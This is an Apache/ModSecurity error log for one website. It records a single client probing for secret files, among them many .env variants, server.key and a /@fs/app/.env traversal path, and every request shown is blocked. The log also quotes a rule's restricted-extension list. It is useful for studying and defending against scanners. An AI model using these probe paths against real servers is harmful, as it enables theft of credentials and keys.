[Sun Oct 25 13:00:03.142094 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at41k1R7hiVQnPOARxKt0QAAAC4"]
[Sun Oct 25 13:00:03.142404 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at41k1R7hiVQnPOARxKt0QAAAC4"]
[Sun Oct 25 13:00:03.142494 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at41k5hqgnbPQM86Wt8CcAAAAEc"]
[Sun Oct 25 13:00:03.142670 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at41k5hqgnbPQM86Wt8CcAAAAEc"]
[Sun Oct 25 13:00:03.142849 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at41k1R7hiVQnPOARxKt0QAAAC4"]
[Sun Oct 25 13:00:03.142974 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at41k5hqgnbPQM86Wt8CcAAAAEc"]
[Sun Oct 25 13:00:03.349815 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 18.207.89.138:20826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:00:03.351995 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at41k5hqgnbPQM86Wt8CcQAAAEc"]
[Sun Oct 25 13:00:03.352140 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at41k5hqgnbPQM86Wt8CcQAAAEc"]
[Sun Oct 25 13:00:03.352403 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at41k5hqgnbPQM86Wt8CcQAAAEc"]
[Sun Oct 25 13:00:03.487188 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at41k3S4s6KZXoJ_WeAzlAAAABw"]
[Sun Oct 25 13:00:03.487376 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at41k3S4s6KZXoJ_WeAzlAAAABw"]
[Sun Oct 25 13:00:03.487680 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at41k3S4s6KZXoJ_WeAzlAAAABw"]
[Sun Oct 25 13:00:03.585581 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at41k3vX2oTK9P2LzVmH8AAAAD8"]
[Sun Oct 25 13:00:03.585795 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at41k3vX2oTK9P2LzVmH8AAAAD8"]
[Sun Oct 25 13:00:03.586108 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at41k3vX2oTK9P2LzVmH8AAAAD8"]
[Sun Oct 25 13:00:03.687691 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at41k1R7hiVQnPOARxKt0wAAAC4"]
[Sun Oct 25 13:00:03.687953 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at41k1R7hiVQnPOARxKt0wAAAC4"]
[Sun Oct 25 13:00:03.688293 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at41k1R7hiVQnPOARxKt0wAAAC4"]
[Sun Oct 25 13:00:03.702999 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at41k3S4s6KZXoJ_WeAzlQAAABw"]
[Sun Oct 25 13:00:03.703228 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at41k3S4s6KZXoJ_WeAzlQAAABw"]
[Sun Oct 25 13:00:03.703562 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at41k3S4s6KZXoJ_WeAzlQAAABw"]
[Sun Oct 25 13:00:03.709285 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at41k1Y5e6yJWIYGXiqDMwAAAAk"]
[Sun Oct 25 13:00:03.709469 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at41k1Y5e6yJWIYGXiqDMwAAAAk"]
[Sun Oct 25 13:00:03.709817 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at41k1Y5e6yJWIYGXiqDMwAAAAk"]
[Sun Oct 25 13:00:03.711340 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at41k8sxP9Gbm0IYLGL8iwAAACI"]
[Sun Oct 25 13:00:03.711544 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at41k8sxP9Gbm0IYLGL8iwAAACI"]
[Sun Oct 25 13:00:03.711829 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at41k8sxP9Gbm0IYLGL8iwAAACI"]
[Sun Oct 25 13:00:03.739000 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at41kxKqFxYAd_HiRLeloAAAABQ"]
[Sun Oct 25 13:00:03.739277 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at41kxKqFxYAd_HiRLeloAAAABQ"]
[Sun Oct 25 13:00:03.739633 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at41kxKqFxYAd_HiRLeloAAAABQ"]
[Sun Oct 25 13:00:03.741555 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at41k2u-o0KBJy2cxdBI5gAAAAM"]
[Sun Oct 25 13:00:03.741761 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at41k2u-o0KBJy2cxdBI5gAAAAM"]
[Sun Oct 25 13:00:03.742012 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at41k2u-o0KBJy2cxdBI5gAAAAM"]
[Sun Oct 25 13:00:03.937992 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at41k1R7hiVQnPOARxKt1AAAAC4"]
[Sun Oct 25 13:00:03.938297 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at41k1R7hiVQnPOARxKt1AAAAC4"]
[Sun Oct 25 13:00:03.938562 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at41k1R7hiVQnPOARxKt1AAAAC4"]
[Sun Oct 25 13:00:03.947819 2026] [authz_core:error] [pid 2862871:tid 2862871] [client 34.146.223.226:42462] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 13:00:03.977990 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at41k8sxP9Gbm0IYLGL8jAAAACI"]
[Sun Oct 25 13:00:03.978358 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at41k8sxP9Gbm0IYLGL8jAAAACI"]
